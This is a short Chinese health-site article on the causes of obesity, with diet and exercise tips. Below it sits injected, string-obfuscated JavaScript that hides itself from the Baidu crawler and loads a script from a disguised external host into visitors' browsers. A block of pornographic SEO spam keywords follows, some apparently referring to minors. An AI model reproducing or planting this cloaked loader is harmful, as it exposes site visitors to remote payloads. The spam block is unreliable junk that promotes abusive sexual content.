當前位置:首頁 > 減肥 > 減肥方法 > 正文

肥胖怎么引起的

2017-06-12 14:22:55  來源:360常識網   熱度:
導語:大家都知道身體肥胖對于健康是有很嚴重的影響的,而造成身體肥胖的原因有很多,在我們生活當中,多數是由于不規律的飲食和生活習慣所導致的

大家都知道身體肥胖對于健康是有很嚴重的影響的,而造成身體肥胖的原因有很多,在我們生活當中,多數是由于不規律的飲食和生活習慣所導致的,還有一些人因為壓力過大,內分泌失調也容易引發肥胖,不過具體的我們應該根據其原因采取有針對性的減肥治療方法,這樣才能讓我們的身體始終處于健康水平。

一般我們見到的肥胖者主要形成原因有以下幾種:

1.遺傳因素。大多認定為多因素遺傳,父母的體質遺傳給子女時,并不是由一個遺傳因子,而是由多種遺傳因子來決定子女的體質,所以稱為多因子遺傳。

2.心理的因素。為了解除心情上的煩惱、情緒上的不穩定,不少人也是用吃來作發泄。這都是引起飲食過量而導致肥胖的原因。

3.與運動有關的因素。運動有助消耗脂肪,在日常生活之中,隨著交通工具的發達,工作的機械化,家務量減輕等,使得人體消耗熱量的機會更少,另一方面因為攝取的能量并未減少,而形成肥胖。胖導致日常的活動越趨緩慢、慵懶,更再次減低熱量的消耗,導致惡性循環,助長肥胖的發生。

4.藥物因素。有些病人在治療期間會服用一些激素類藥物,這些藥物會導致身體的各項機能受到損傷,進而研發肥胖的癥狀。

對于肥胖者在減肥的過程中應該適當減低膳食熱量。攝入熱量低于消耗熱量,負平衡時體脂逐步分解,體重逐步下降。用低熱值食品代替高熱食品,用家禽肉、瘦肉代替肥肉。用雞蛋、牛奶、豆制品代替糖多、油大的點心。巧克力、奶油冰激凌、糖果應不吃。

減肥是一個很漫長的過程,在減肥期間一定要有特別堅強的毅力。堅持長期的體育鍛煉,并且應該制定科學的飲食菜譜。盡量避免高油、高糖類食物的食用,選用一些含有維生素和礦物質比較多的水果蔬菜等清淡類食物,在日常生活當中,應該保證充足的睡眠,適當的調節身體壓力,對于達到減肥目的效果十分的明顯。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品国产呦系列在线看| 国产在线精品一区二区高清不卡| 野花国产精品入口| 精品亚洲视频在线| 国产看午夜精品理论片| laowang在线精品视频| 久久精品中文字幕有码| 精品久久久久久中文字幕| 少妇人妻精品一区二区三区| 91亚洲国产成人精品下载| 交换国产精品视频一区| 日韩精品中文字幕在线| 亚洲午夜福利精品无码| 国内精品人妻无码久久久影院| 久久久99精品免费观看| 国产成人精品免费午夜app| WWW国产亚洲精品久久麻豆| 日韩精品一区二区三区不卡| 99精品免费视频| 亚洲国产精品自在在线观看| 99久久er这里只有精品18| 国产精品爆乳在线播放第一人称| 成人国内精品久久久久影院| a级亚洲片精品久久久久久久| 亚洲国产精品久久久久久| 亚洲精品无码久久久久A片苍井空| 精品国产夜色在线| 精品久久久久久无码中文字幕| 久久精品国产秦先生| 亚洲精品成人网站在线播放| 精品国产线拍大陆久久尤物| 国产久爱免费精品视频 | 波多野结衣久久精品| 国产精品视频久久久久久| 国产呦小j女精品视频| 久久久精品国产sm调教网站| 精品国产乱码久久久久久 | 久久国产精品免费视频| 久久精品国产亚洲AV蜜臀色欲| 国产精品第一页爽爽影院| 成人精品视频99在线观看免费|